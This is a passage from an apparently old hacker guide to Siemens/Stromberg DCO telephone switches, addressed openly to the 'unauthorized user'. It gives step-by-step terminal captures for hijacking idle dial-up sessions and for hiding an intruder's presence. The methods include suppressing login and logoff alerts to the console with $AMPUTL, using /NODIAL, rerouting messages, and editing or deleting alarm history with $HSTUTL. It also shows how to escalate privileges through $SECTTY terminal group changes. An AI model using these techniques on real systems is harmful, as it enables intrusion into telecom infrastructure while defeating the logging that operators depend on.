(discussed forthwith) to activate an idle logout on a particular TTY, but
|
|
even this will not log a user out until an extended period of complete
|
|
inactivity has passed-it is still possible to connect to a terminal and
|
|
resume a session with this option activated, if one connects within this
|
|
said window of time. It is a trivial matter indeed to automatically and
|
|
repeatedly call a dialup in order to connect just after a user's activity
|
|
has ceased (indicating a departure from the terminal) and prior to the
|
|
auto-logout due to inactivity. Regardless, this is not a default setting,
|
|
and it is perhaps quite rare that one will encounter it.
|
|
|
|
|
|
Passive Observation-
|
|
|
|
A rather simple means through which to learn various information pertaining
|
|
to a DCO, that which may prove ultimately useful in the attainment of
|
|
access thereto, is merely that of passive observation of the information
|
|
messages that are displayed even prior to a login-i.e., monitoring the
|
|
dialup. This tendency to display status and other messages to anyone who
|
|
calls a dialup is quite unique to the DCO, although other switches such as
|
|
the EWSD exhibit this characteristic as well. Only messages ordinarily
|
|
broadcast to all ports (or the dial-in TTYs, at least) are displayed prior
|
|
to login, with the most common utility to which these messages pertain the
|
|
$SNCUTL (Synchronous Network Clock Utility). One explanation for this
|
|
idiosycrasy lies in the fact that, when one calls a DCO dialup, one is
|
|
automatically connected to the corresponding TTY-the login prompt/program
|
|
is simply another utility executed like any other (notably, the prompt
|
|
itself reveals this-the "LOG>" portion is of the similar format to all
|
|
other utility menu prompts-the first three letters of the utility + ">")
|
|
except that it is executed automatically upon connection if LOGOFF has been
|
|
during the last session from that TTY, as opposed to a front-end program
|
|
that must be satisfied with proper credentials in order to connect to the
|
|
switch at all. In other words, LOGIN technically serves to restrict access
|
|
to the remainder of the utilities and files on the switch through the MMI
|
|
rather than access to the MMI itself.
|
|
|
|
|
|
Concealment of Presence
|
|
-----------------------
|
|
|
|
Although the DCO, as has been previously demonstrated, does not exhibit
|
|
PREVENTIVE security measures implemented with any degree of rigor, there
|
|
does exist a simple yet potentially effective means of detection of
|
|
potentially suspicious activity of those with access to the switch:
|
|
extensive logging. The majority of actions performed within the MMI are
|
|
relentlessly logged and broadcast, in messages of the following format:
|
|
|
|
DCO_CITYDATA 09-00-00 00:00:00 LOGIN TT01
|
|
MP .0354:TTY=TT1,USERNAME=MAINT LOGGED IN
|
|
|
|
The date, time, program executed or file accessed (if applicable), port of
|
|
origination, sortkey, terminal, and message in ASCII text comprise, in that
|
|
order from left to right, top to bottom, the message, the likes of which is
|
|
output by default to the local terminal in addition to the console (TT00),
|
|
where the attentive administrator or technician will undoubtedly notice odd
|
|
or unexpected activity, such as logins during strange hours, execution of
|
|
programs outside of the aforementioned sphere of tasks of a particular
|
|
account, activity on a particular port that may differ from that upon which
|
|
the account/user logged in is ordinarily present, etc. The potential
|
|
negative impact of this upon the maintenance of one's (presumably
|
|
unauthorized) access should be evident; fortunately for the unauthorized
|
|
user, there exist a small variety of methods using a few key utilities to
|
|
mitigate the effect of these messages.
|
|
|
|
|
|
Defeating the Printing and Logging of Status Messages-
|
|
|
|
Although it is not directly preventive and thus not a strictly classified
|
|
"security" measure, the constant deluge of status messages pertaining to
|
|
the execution and exit of utilities, etc., especially that of the LOGIN and
|
|
LOGOFF utilities, presents a challenge to potential intruders as they are
|
|
by default broadcast to the console (TT00). These messages are identified
|
|
by "sortkeys" of the format XXX.0000 or XX.000, where XX(X) are two or
|
|
three letters signifying the classification/type of the message and the
|
|
zeroes the number of the exact message, which is either three or four
|
|
digits in length. Sortkey numbers of three digits in length may be typed
|
|
with a preceding zero (MP.0354 or MP.354) as well. A list of sortkey
|
|
prefixes (or "groups") follows, provided by $AMPUTL, which is discussed
|
|
elsewhere in this document:
|
|
|
|
|
|
AMP> SORTKEY (SORTKEY=HELP) >
|
|
|
|
VALID RESPONSES ARE GROUP TYPES FOLLOWED BY A GROUP NUMBER YYY.XXXX
|
|
YYY IS THE ALPHA QUALIFIER FOR THE GROUP TYPE
|
|
XXXX IS THE NUMERIC QUALIFIER FOR THE GROUP NUMBER
|
|
* , YYY.* CAN BE USED FOR ALARMS WITHIN A GROUP
|
|
'DONE' CAN BE USED TO TERMINATE THE PROMPT IF THE TASK IS IN A REPEAT
|
|
MODE
|
|
|
|
ACI.XXXX - ALARM COMMUNICATION INTERFACE
|
|
ADM.XXXX - ADMINISTRATIVE
|
|
ALT.XXXX - AUTOMATIC LINE TESTING
|
|
AMA.XXXX - AUTOMATED MESSAGE ACCOUNTING
|
|
CBC.XXXX - COMMUNICATION BUS CONTROLLER
|
|
CLC.XXXX - COMMUNICATION LINK CONTROLLER
|
|
CLK.XXXX - SNC, ANI, CLOCKS
|
|
CP.XXXX - CALL PROCESSOR ALARMS
|
|
CPE.XXXX - CALL PROCESSOR ERROR ALARMS
|
|
CUS.XXXX - CUSTOMER GENERATED ALARMS
|
|
DLI.XXXX - DATA LINK INTERFACE
|
|
DS1.XXXX - DIGITAL T-1 SPAN MODULE ALARMS
|
|
ENV.XXXX - ENVIORNMENTAL ALARMS
|
|
FP.XXXX - FEATURE PROCESSOR
|
|
LGC.XXXX - LINE GROUP CONTROLLER
|
|
|
|
AMP> ADDITIONAL HELP (MORE=YES) >
|
|
|
|
LIN.XXXX - LINE
|
|
LSC.XXXX - LINE SWITCH CONTROLLER
|
|
LTC.XXXX - LINE TEST CONTROLLER
|
|
MAH.XXXX - HOST MESSAGE ASSEMBLER
|
|
MAR.XXXX - REMOTE MESSAGE ASSEMBLER
|
|
MCC.XXXX - MCC ALARMS
|
|
MCI.XXXX - MAINTENANCE COMMUNICATION INTERFACE
|
|
MDC.XXXX - MAINTENANCE AND DIAGNOSTIC CONTROLLER 1
|
|
MD2.XXXX - MAINTENANCE AND DIAGNOSTIC CONTROLLER 2
|
|
MIC.XXXX - MESSAGE INTERFACE CONTROLLER
|
|
MP.XXXX - MAINTENANCE AND ADMINISTRATION PROCESSOR
|
|
PWR.XXXX - POWER ALARMS
|
|
RLG.XXXX - REMOTE LINE GROUP
|
|
RNG.XXXX - RINGING
|
|
RPL.XXXX - REMOTE POLLED LAMA
|
|
SLC.XXXX - SLC-96
|
|
SS7.XXXX - SS7 ALARMS
|
|
SSC.XXXX - SIGNALLING SYSTEM CONTROLLER
|
|
SVC.XXXX - SERVICE CIRCUITS
|
|
TMP.XXXX = TMP ALARMS
|
|
TON.XXXX - TONE
|
|
|
|
AMP> ADDITIONAL HELP (MORE=YES) >
|
|
|
|
TPP.XXXX - TELEPHONY PRE-PROCESSOR
|
|
TRK.XXXX - TRUNK
|
|
TST.XXXX - TEST ALARMS
|
|
|
|
|
|
The knowledge of the sortkey of a particular message is necessary to alter
|
|
or display data associated with that message within the following
|
|
utilities. Sortkeys may be identified in messages as seen above, or looked
|
|
up in the $AMPUTL utility. The messages are quite inherently extensive in
|
|
their reporting of the conditions in which the task reported upon was
|
|
executed; thus, they provide an extremely incriminating record of
|
|
unauthorized or "odd" activity on the switch. The author is personally
|
|
aware of at least one specific instance in which an individual's access to
|
|
a DCO was permanently terminated due to precisely this-the astute viewing
|
|
of messages printed to the console and elsewhere culminating in a
|
|
realization of unauthorized activity. It is therefore extremely important
|
|
for the unauthorized user to control when, how, and where these messages
|
|
are printed. There exist to this end a few effective methods by which to
|
|
thwart the tracking of one's activity on the switch using the utilities and
|
|
access available as a segment of the MMI. It is recommended that all of
|
|
these be used in combination, in order to ensure maximum possible stealth.
|
|
All are generally individually limited by the existence of the logging
|
|
measures defeated by the others; for instance, the use of the command
|
|
parameter /NODIAL is assistive in concealing one's presence, but the
|
|
storage and direction of information messages generated by
|
|
utilities/programs will require the use of $AMPUTL to protect most fully
|
|
the secrecy of usage.
|
|
|
|
The /NODIAL Parameter-
|
|
|
|
Within the DCO MMI there are certain parameters that may be affixed to
|
|
command strings in order to handle the input and output of commands.
|
|
/NODIAL is one such parameter. It is an abbreviation for "NO DIALOGUE",
|
|
indicating that the execution of a command/menu option to which it is
|
|
affixed will not be itself reported to the defined termination points (the
|
|
ports/TTYs to which the message is sent/printed). Alternately conveyed, one
|
|
through the use of /NODIAL avoids the printing of this sort of
|
|
"BEGIN/END DIALOGUE" message:
|
|
|
|
|
|
DCO_CITYDATA 09-00-00 00:00:00 ADMIN TT01
|
|
M ADM.0000: ADMIN BEGIN DIALOGUE
|
|
|
|
|
|
The begin/end dialogue messages may not be manipulated through $AMPUTL or
|
|
the other following utilities, since the sortkey ADM.0000 is not recognized
|
|
by them as valid. ADM.0000 is a universal sortkey of sorts, used to signify
|
|
all "begin dialogue" messages for all utilities/programs; it is thus
|
|
unassigned to any particular message. Likewise, sortkey ADM.0001
|
|
universally signifies all "end dialogue messages", and is unassigned
|
|
therefore as well. An attempt to alter or display a message with sortkey
|
|
ADM.0000 through $AMPUTL will prompt the following output:
|
|
|
|
|
|
AMP> SORTKEY (SORTKEY=HELP) > ADM.0000
|
|
AMPUTL: SORTKEY IS UNASSIGNED
|
|
|
|
|
|
/NODIAL will offer one a degree of anonymity, then, but it does not prevent
|
|
certain messages from being printed/displayed.
|
|
|
|
Thwarting Information Messages With $AMPUTL-
|
|
|
|
A method exists to defeat the broadcast of messages using the $AMPUTL
|
|
command, the likes of which entails the use of the Alarm Message Processing
|
|
Utility, a program accessible to all default groups. The AMPUTL menu system
|
|
is as follows:
|
|
|
|
|
|
$AMPUTL
|
|
|
|
AMP> FUNCTION (FUNCTION=HELP) >
|
|
|
|
CHANGE - CHANGE MESSAGE
|
|
DISPLAY - DISPLAY MESSAGE
|
|
EXIT
|
|
|
|
|
|
The "DISPLAY" option will display the text of the message itself in
|
|
addition to other information pertaining to it, such as the termination
|
|
points, alarm level (if applicable), etc. Here is an example of the output
|
|
of "DISPLAY" for sortkey MP.0354, which identifies the message that a user
|
|
has logged into the switch:
|
|
|
|
|
|
AMP> FUNCTION (FUNCTION=HELP) > DISPLAY
|
|
|
|
AMP> SORTKEY (SORTKEY=HELP) > MP.0354
|
|
|
|
SORTKEY ENTRY MP .354
|
|
<TTY><DT1=USERNAME.A8>LOGGED IN
|
|
ALARM LEVEL NONE
|
|
INFORMATION MESSAGE
|
|
NO ACI INTERFACE, TERMINAL LIMIT 0
|
|
TERMINATION POINTS ARE CONSOLE, TI:,
|
|
|
|
|
|
The first field obviously contains the sortkey used to identify the
|
|
message, the second line/field the ASCII text of the message, the third
|
|
field the alarm level, (which is here "NONE" since the logging in and out
|
|
of users does not activate an alarm), the fourth the type of message, the
|
|
fifth the type of interface and terminal limit associated with the message,
|
|
and the final field the termination points. Using the "CHANGE" option to
|
|
alter the properties of any particular message, a multitude of options may
|
|
be set, but most importantly the text and termination points of the message
|
|
may be altered, presenting two possible venues to negate the revealing
|
|
effect of such messages. The termination point may be set thus to the
|
|
initiating terminal only, or the text of the message may be altered to suit
|
|
the needs of an intruder. A list of attributes that may be altered through
|
|
CHANGE follows:
|
|
|
|
|
|
AMP> FUNCTION (FUNCTION=DISPLAY) > CHANGE
|
|
|
|
AMP> FIELD (FIELD=HELP) >
|
|
|
|
ADMINISTERABLE FIELDS ARE:
|
|
|
|
EXIT - EXIT AMPUTL
|
|
^ - QUIT CHANGE WITHOUT UPDATING
|
|
DONE - UPDATE DATABASE ON DISK
|
|
ACI - ALARM CONTROL INTERFACE
|
|
DELAY - DELAY ALARM SENDING
|
|
E2A - E2A ADDRESS
|
|
FEI - FAULT, ERROR, OR INFORMATION
|
|
GROUP - GROUPING NUMBER
|
|
LEVEL - ALARM LEVEL
|
|
LIMIT - TERMINAL LIMIT
|
|
MASKABLE - MASKABILITY FLAG
|
|
REPEAT - REPEAT FLAG
|
|
TERMPT - TERMINATION POINTS
|
|
TEXT - ASCII TEXT (OUTPUT MESSAGE)
|
|
RLS - RLS ALARM MESSAGE
|
|
BMP - BMP LED ASSIGNMENT
|
|
|
|
To alter the termination points of the message, thereby instructing the
|
|
switch to print it only to certain specified terminals/TTYs, TERMPT is
|
|
entered at the FIELD prompt:
|
|
|
|
|
|
AMP> FIELD (FIELD=HELP) > TERMPT
|
|
TERMPTS ARE CONSOLE, TI:,
|
|
|
|
|
|
The current termination points of this message were, as displayed, the
|
|
console and TI (initiating terminal). Numerous devices are then presented
|
|
which may be set as termination points for the message:
|
|
|
|
|
|
AMP> DEVICE (DEVICE=HELP) >
|
|
|
|
EXIT - EXIT FROM MASKING UTILITIES
|
|
^ - BACKUP TO PREVIOUS PROMPT
|
|
DONE
|
|
ALL - ALL PORTS
|
|
CONSOLE - SYSTEM CONSOLE
|
|
NAC - NAC TERMINAL
|
|
RLS - RLS TERMINAL
|
|
AMATPS - AMATPS MESSAGE FILE
|
|
TT00-TT31 - ANY PARTICULAR TTY
|
|
TI - INITIATING TERMINAL
|
|
|
|
|
|
For maximum stealth it would be advisable to set the termination points of
|
|
a message to the initiating terminal only, so that it will be displayed
|
|
only on the remote user's terminal, here TT01, when it is invoked by said
|
|
user:
|
|
|
|
|
|
AMP> DEVICE (DEVICE=HELP) > CONSOLE
|
|
|
|
AMP> STATUS (STATUS=HELP) >
|
|
|
|
REMOVE
|
|
ADD
|
|
^
|
|
EXIT
|
|
|
|
AMP> STATUS (STATUS=HELP) > REMOVE
|
|
|
|
AMP> DEVICE (DEVICE=DONE) >
|
|
|
|
AMP> FIELD (FIELD=HELP) > TERMPT
|
|
TERMPTS ARE TI:,
|
|
|
|
AMP> DEVICE (DEVICE=HELP) > DONE
|
|
|
|
AMP> FIELD (FIELD=DONE) >
|
|
|
|
AMP> FUNCTION (FUNCTION=CHANGE) >
|
|
|
|
|
|
Following this procedure, the termination point of the message MP.0354 is
|
|
set only to the initiating terminal; when a user logs in from TT01, the
|
|
information message announcing it will only be displayed on his/her
|
|
terminal and will not be printed to the console. It would be most useful
|
|
for an unauthorized user to set the termination points of the following few
|
|
messages to TI only: MP.0354 (<TTY><DT1=USERNAME.A8>LOGGED IN), MP.0343
|
|
(<TTY>LOGGED OFF), MP.0676 (<TTY>EXCESSIVE LOGIN ATTEMPTS), MP.0002 (FILE
|
|
NOT FOUND ON DISK), MP.0461 (<TASK><FILE>INVALID NAME) and MP.0733 (INVALID
|
|
TASK NAME) as these will commonly and naturally, as a matter of course, be
|
|
displayed through navigation into and around the switch and reveal
|
|
glaringly more than any other information or error messages an unauthorized
|
|
presence.
|
|
|
|
|
|
Monitoring Other TTYs and Redirecting Messages With $UTL-
|
|
|
|
Occasionally during the course of switch use it may prove useful to monitor
|
|
and manage tasks active on other terminals and to redirect I/O. The Utility
|
|
Program ($UTL) may be employed to accomplish these and other functions
|
|
related to task management. Unlike other utilities discussed throughout,
|
|
the "function codes" of $UTL must be entered in a single string on the
|
|
command line:
|
|
|
|
|
|
$UTL /NODIAL
|
|
DCO_CITYDATA
|
|
09-00-00 00:00:00 TUESDAY UTILITY PROGRAM
|
|
|
|
UTL:INVALID FUNCTION CODE
|
|
|
|
DCO>
|
|
$UTL HELP /NODIAL
|
|
DCO_CITYDATA
|
|
09-00-00 00:00:00 TUESDAY UTILITY PROGRAM
|
|
FUNC DESCRIPTION FORMAT EXAMPLES
|
|
==== ======================= ===============
|
|
ACT ACTIVE TASK LIST ACT
|
|
OR ACT ALL
|
|
OR ACT TERM
|
|
OR ACT TERM:TT06
|
|
OR ACT ALL TERM
|
|
OR ACT ALL TERM:TT06
|
|
ATB AUTO TRUNK MAKE BUSY ATB 122.:ON=50.
|
|
OR ATB 37.:OFF
|
|
BRO BROADCAST MESSAGE BRO TT02 HELLO
|
|
OR BRO ALL REBOOT
|
|
DMO DISMOUNT DEVICE/FEATURE DMO I1:
|
|
OR DMO CNTRL
|
|
OR DMO REQUIRED
|
|
OR DMO LSXWRI 430
|
|
MOU MOUNT DEVICE/FEATURE (SEE DMO EXAMPLES)
|
|
PRI STATIC PRIORITY PRI
|
|
OR PRI STATUS
|
|
OR PRI STATUS=100
|
|
RED REDIRECT TASK I/O RED STATUS:TT01
|
|
RPR RUN PRIORITY (SEE PRI EXAMPLES)
|
|
SCED SCHEDULED TASKS SCED
|
|
TID TERMINAL ID QUERY TID
|
|
|
|
|
|
ACT will display a list of active tasks based upon the parameter entered.
|
|
As seen in the capture, to display tasks active on a particular terminal,
|
|
one would enter:
|
|
|
|
|
|
$UTL ACT TERM:TTXX
|
|
|
|
|
|
ATB will busy out a specified trunk, BRO will broadcast a message to
|
|
another terminal, PRI sets priority of tasks, and DMO/MOU will mount or
|
|
dismount devices/features. Possibly the most useful function of UTL is RED,
|
|
which may be entered to redirect the I/O of a task to another terminal as
|
|
seen in the format example in the capture. Reports generated with numerous
|
|
other utilities might be printed elsewhere, etc. TID or "TERMINAL ID QUERY"
|
|
will simply display the terminal that one is currently using, similar to
|
|
the "tty" command in DMERT/UNIX-RTR/5ESS UNIX on a Lucent 5ESS.
|
|
|
|
|
|
$UTL TID /NODIAL
|
|
DCO_CITYDATA
|
|
09-00-00 00:00:00 TUESDAY UTILITY PROGRAM
|
|
|
|
TERMINAL ID => TT01
|
|
|
|
|
|
Rerouting Messages with $RRTUTL-
|
|
|
|
The $RRTUTL utility may be used to reroute messages destined for a
|
|
particular TTY and to display message routing to terminals.
|
|
|
|
|
|
RRT> FUNCTION (FUNC=HELP) >
|
|
|
|
VALID FUNCTIONS ARE:
|
|
LIST - LIST ALL LOCAL OR REMOTE TERMINAL ROUTING
|
|
DISPLAY - DISPLAY ONE LOCAL OR REMOTE TERMINAL ROUTING
|
|
CHANGE - CHANGE ONE LOCAL OR REMOTE TERMINAL ROUTING
|
|
EXIT - EXIT OUT OF THIS OVERLAY
|
|
|
|
RRT> FUNCTION (FUNC=HELP) > DISPLAY
|
|
|
|
RRT> DATABASE (DATABASE=HELP) >
|
|
|
|
ENTER ROUTING DATABASE TYPE - LOCAL OR REMOTE
|
|
LOCAL - ROUTING OF MESSAGES VIA THE TERMINAL NUMBER OR BY SORTKEYS
|
|
REMOTE - ROUTING OF RNS/RLS-4000 MESSAGES VIA THE NODE NUMBER
|
|
|
|
RRT> DATABASE (DATABASE=HELP) > LOCAL
|
|
|
|
RRT> TYPE OF TERMINAL (TYPE=HELP) >
|
|
|
|
ENTER TERMINAL #, OUTPUT DEVICE PSEUDO NAME OR SORT KEY
|
|
THAT IS TO HAVE ITS MESSAGES REROUTED
|
|
|
|
RRT> TYPE OF TERMINAL (TYPE=HELP) > TT01
|
|
|
|
RRTUTL: INVALID TYPE ENTERED - TT01, PLEASE RE-ENTER
|
|
|
|
RRT> TYPE OF TERMINAL (TYPE=HELP) > 01
|
|
|
|
PORT 1 HAS NO FAILOVER PORT
|
|
PORT 1 HAS NO REROUTING
|
|
|
|
RRT> FUNCTION (FUNC=DISPLAY) >
|
|
|
|
RRT> DATABASE (DATABASE=LOCAL) >
|
|
|
|
RRT> TYPE OF TERMINAL (TYPE=01) > 00
|
|
|
|
PORT 0 HAS FAILOVER PORT = 1
|
|
PORT 0 REROUTE TO PORT 1
|
|
PORT 0 REROUTE TO PORT 2
|
|
|
|
RRT> FUNCTION (FUNC=DISPLAY) >
|
|
|
|
RRT> DATABASE (DATABASE=LOCAL) >
|
|
RRT> TYPE OF TERMINAL (TYPE=00) > 02
|
|
|
|
PORT 2 HAS NO FAILOVER PORT
|
|
PORT 2 HAS NO REROUTING
|
|
|
|
RRT> FUNCTION (FUNC=DISPLAY) >
|
|
|
|
RRT> DATABASE (DATABASE=LOCAL) >
|
|
RRT> TYPE OF TERMINAL (TYPE=02) > 03
|
|
|
|
PORT 3 HAS NO FAILOVER PORT
|
|
PORT 3 HAS NO REROUTING
|
|
|
|
RRT> FUNCTION (FUNC=DISPLAY) >
|
|
|
|
RRT> DATABASE (DATABASE=LOCAL) >
|
|
|
|
RRT> TYPE OF TERMINAL (TYPE=03) > 04
|
|
|
|
PORT 4 HAS NO FAILOVER PORT
|
|
PORT 4 HAS NO REROUTING
|
|
|
|
RRT> FUNCTION (FUNC=DISPLAY) > EXIT /NODIAL
|
|
|
|
|
|
As seen in the captures, messages destined to port 0 (the system master
|
|
console, TT00) will reroute to ports 1 and 2 (TT01 and TT02).
|
|
|
|
Defeating Alarm Logging with $HSTUTL-
|
|
|
|
As may be discovered through interactive use of the $AMPUTL utility,
|
|
information messages (such as notification of user login/off) and alarm
|
|
messages are distinctly categorized, although the broadcast method used for
|
|
both is identical. With the use of any hacker/inexperienced user of the
|
|
switch lies the possibility that mistakes will be made and alarms
|
|
activated. Alarms, in certain situations, may reveal an unauthorized
|
|
presence on the switch, and as such must be for purposes of stealth
|
|
silenced. Such an occurrence is highly unlikely, however, and one exploring
|
|
a DCO without authorization would be well advised to refrain from tampering
|
|
with the alarms stored on the switch as they are often diagnostically
|
|
essential to switch maintenance; the deletion of crucial alarms not yet
|
|
reviewed by maintenance would be potentially perilous indeed. In any case,
|
|
alarm messages are logged in history files stored on the disk and
|
|
accessible through $HSTUTL. These history files are classified into
|
|
numbered "controllers" based upon the type of alarms with which they are
|
|
concerned, and the "data files" of the alarm messages themselves.
|
|
Operations on controllers provide a general overview of the alarm logs
|
|
without the need to view specific, dated messages. The menu system of
|
|
HSTUTL:
|
|
|
|
|
|
$HSTUTL /NODIAL
|
|
|
|
HST> FUNCTION (FUNC=HELP) >
|
|
|
|
EXIT - EXITS HSTUTL
|
|
DISPLAY - DISPLAYS SINGLE HISTORY FILE
|
|
LIST - LISTS ALL HISTORY FILES
|
|
ADD - ADD A NEW HISTORY FILE ENTRY
|
|
DELETE - DELETE A HISTORY FILE ENTRY
|
|
CHANGE - CHANGE AN EXISTING HISTORY FILE ENTRY
|
|
BRIEF - GENERATE BRIEF HISTORY REPORT
|
|
|
|
|
|
With "DISPLAY", one may display either a controller or a data file; as per
|
|
usual, the "LIST" option will either list all controllers in output
|
|
complete with references and occurrences, or all data files associated with
|
|
a particular controller.
|
|
|
|
|
|
HST> FUNCTION (FUNC=HELP) > LIST
|
|
|
|
HST> CONTROLLER OR LOGGING (TYPE=HELP) >
|
|
|
|
EXIT - EXITS HSTUTL
|
|
CONTROLLER - HISTORICAL LOGGING CONTROLLER FILE
|
|
LOGGING - HISTORICAL LOGGING DATA FILE
|
|
|
|
HST> CONTROLLER OR LOGGING (TYPE=HELP) > CONTROLLER
|
|
|
|
CONTROL NAME REF OCCUR. MATCH TYPE
|
|
------- ---------------------------------------- ----- ------ ----------
|
|
0 SGD ALARMS 109 10 NONE
|
|
3 SYNC ALARMS 42 10 NONE
|
|
5 SWC ALARMS 74 10 NONE
|
|
6 TPP MISMATCH ALARMS 1 10 NONE
|
|
7 STATE 1 1 10 NONE
|
|
8 STATE 2 1 10 NONE
|
|
9 STATE 4 1 10 NONE
|
|
10 CBC RESTARTED/STARTUP COMPLETE 2 10 NONE
|
|
11 LSC STARTUP COMPLETE 1 10 NONE
|
|
12 FP RESTORE/STARTUP COMPLETE 3 10 NONE
|
|
13 EXTENDED NON-SYNCHRONOUS OPERATION 1 1 NONE
|
|
14 MP STARTUP COMPLETE 1 10 NONE
|
|
|
|
HST> FUNCTION (FUNC=LIST) >
|
|
|
|
HST> CONTROLLER OR LOGGING (TYPE=CONTROLLER) > LOGGING
|
|
|
|
HST> CONTROLLER NUMBER (CONT=HELP) > 0
|
|
|
|
CONTROL NAME REF OCCUR. MATCH TYPE
|
|
------- ---------------------------------------- ----- ------ ----------
|
|
0 SGD ALARMS 109 10 NONE
|
|
|
|
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
|
|
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
|
|
|
|
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
|
|
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
|
|
|
|
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
|
|
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
|
|
|
|
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
|
|
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
|
|
|
|
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
|
|
MP .0098:CMF=000,SIDE=X REFERENCE TIMING DEVIATION
|
|
|
|
DCO_CITYDATA 09-00-00 00:00:00 SWITCH TT01
|
|
CLK.0009:CMF=000,SIDE=Y MASTER CLOCK SWITCHED TO ONLINE (SGD)
|
|
|
|
With "CHANGE" one may alter a history file entry, and one may delete an
|
|
existing one with, naturally, "DELETE".
|
|
|
|
|
|
Escalation of Privileges
|
|
------------------------
|
|
|
|
In many cases it may be necessary for the unauthorized user to escalate the
|
|
privileges of a particular account to which access has been attained, or to
|
|
obtain access to the switch through another account entirely with alternate
|
|
privileges. The purposes or motives behind such an attempt at privilege
|
|
escalation may be directed at expansion of one's ability to ability to
|
|
explore the switch, or perhaps to the end of stealth itself; as has been
|
|
demonstrated previously and heretofore, the specialization of accounts may
|
|
restrict one's access to utilities necessary for concealment. Both
|
|
superficial methods and those requiring one to delve more deeply into the
|
|
heart of the switch, as it were, exist naturally to this end.
|
|
|
|
|
|
$SECTTY-
|
|
|
|
As an attempted security measure to counter the general problem of nearly
|
|
universally used defaults, it may be impossible to login with any account
|
|
other than SCAT from the dial-in ports; however, SCAT is authorized to
|
|
execute the command $SECTTY, which sets attributes such as terminal logins.
|
|
It is therefore possible to individually add users to the list of those
|
|
authorized to log in from, as an example, TT01, or to create a new user
|
|
group, assign all of the desired users/accounts to it, and authorize said
|
|
group to log in from TT01. Restricted access to the file system as well as
|
|
to certain ports and utilities is one of the primary security measures
|
|
employed by the DCO-CS to limit user access based upon necessity.
|
|
|
|
|
|
DCO>
|
|
|
|
$SECTTY
|
|
|
|
DCO_CITYDATA 08-00-00 00:00:00 SECTTY TT01
|
|
M ADM.0000: SECTTY BEGIN DIALOGUE
|
|
|
|
SEC> FUNCTION (FUNC=HELP) >
|
|
|
|
THE FOLLOWING IS A LIST OF VALID FUNCTIONS :
|
|
SETCON - SET SYSTEM CONSOLE
|
|
SETNAC - SET NAC TERMINAL
|
|
ADD - GROUP TO TERMINAL ACCESS
|
|
DELETE - GROUP FROM TERMINAL ACCESS
|
|
DISPLAY - EQUIPPED TERMINAL ACCESS RIGHTS
|
|
DEFINE - NEW GROUP NAME
|
|
REMOVE - EXISTING GROUP NAME
|
|
RESTRICTION - SET UP FUNCTION LEVEL RESTRICTION FOR GROUP
|
|
LIST - VALID GROUP NAMES
|
|
SETTYP - SET TERMINAL TYPE
|
|
SETATT - SET TERMINAL ATTRIBUTES
|
|
EXIT - EXITS SECTTY
|
|
|
|
SEC> FUNCTION (FUNC=HELP) > DISPLAY
|
|
|
|
SEC> TTY NUMBER (TTY=HELP) >
|
|
|
|
VALID TTY NUMBERS ARE:
|
|
0-31
|
|
|
|
SEC> TTY NUMBER (TTY=HELP) > 00
|
|
|
|
SECTTY - TERMINAL ACCESS RIGHTS
|
|
|
|
TTY GROUP
|
|
-------------------
|
|
0 SCAT
|
|
|
|
|
|
SEC> FUNCTION (FUNC=DISPLAY) >
|
|
|
|
SEC> TTY NUMBER (TTY=00) > 01
|
|
|
|
SECTTY - TERMINAL ACCESS RIGHTS
|
|
|
|
TTY GROUP
|
|
-------------------
|
|
1 SCAT
|
|
|
|
SEC> TTY NUMBER (TTY=4) > 3
|
|
SECTTY - TERMINAL ACCESS RIGHTS
|
|
|
|
TTY GROUP
|
|
-------------------
|
|
3 SCAT
|
|
|
|
SEC> FUNCTION (FUNC=DISPLAY) > LIST
|
|
|
|
SECTTY - VALID GROUP NAMES
|
|
|
|
GRP# GRP NAME RESTRICTION WORD
|
|
15 14 13 12 11 10 9 8 7 6 5 4 3 BXC RCO NAC
|
|
-------------------------------------------------------------
|
|
1 ADMIN 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
|
|
2 TMRS 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
|
|
3 STATUS 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
|
|
4 MAINT 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
|
|
5 SECURE 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
|
|
6 NAC 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1
|
|
7 ESPF 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
|
|
8 UNDEFINED
|
|
9 UNDEFINED
|
|
10 UNDEFINED
|
|
11 UNDEFINED
|
|
12 UNDEFINED
|
|
13 UNDEFINED
|
|
14 UNDEFINED
|
|
15 UNDEFINED
|
|
16 SCAT 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
|
|
|
|
SEC> FUNCTION (FUNC=DISPLAY) > ADD
|
|
|
|
SEC> GROUP NAME (NAME=HELP) > MAINT
|
|
|
|
SEC> TTY NUMBER (TTY=00) > 01
|
|
|
|
SECTTY: GROUP ADDED FOR TTY 1
|
|
|
|
SEC> FUNCTION (FUNC=ADD) > EXIT
|
|
|
|
|
|
Terminal access rights/privileges are defined, as seen in the captures,
|
|
through the bit configuration of a "restriction word" for each group. Group
|
|
access may also be manipulated through the modification of this word.
|
|
|
|
|
|
SEC> FUNCTION (FUNC=HELP) > RESTRICTION
|
|
|
|
SEC> GROUP NUMBER (GROUP=HELP) > 1
|
|
CURRENT RESTRICTION WORD:
|
|
|
|
GRP# GRP NAME RESTRICTION WORD
|
|
15 14 13 12 11 10 9 8 7 6 5 4 3 BXC RCO NAC
|
|
-------------------------------------------------------------
|
|
1 ADMIN 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
|
|
|
|
SEC> RESTRICTION WORD (VALUE=HELP) >
|
|
|
|
0 - 65535 ANY BIT CONFIGURATION OF WORD
|
|
|
|
|
|
SETATT allows a user to set numerous terminal options, one of which is
|
|
particularly significant as pertains to the concealment and hence
|
|
preservation of one's access.
|
|
|
|
|
|
SEC> FUNCTION (FUNC=HELP) > SETATT
|
|
|
|
SEC> TTY NUMBER (TTY=HELP) > 01
|
|
|
|
SEC> OUTPUT NULLS (NULL=YES) >
|
|
|
|
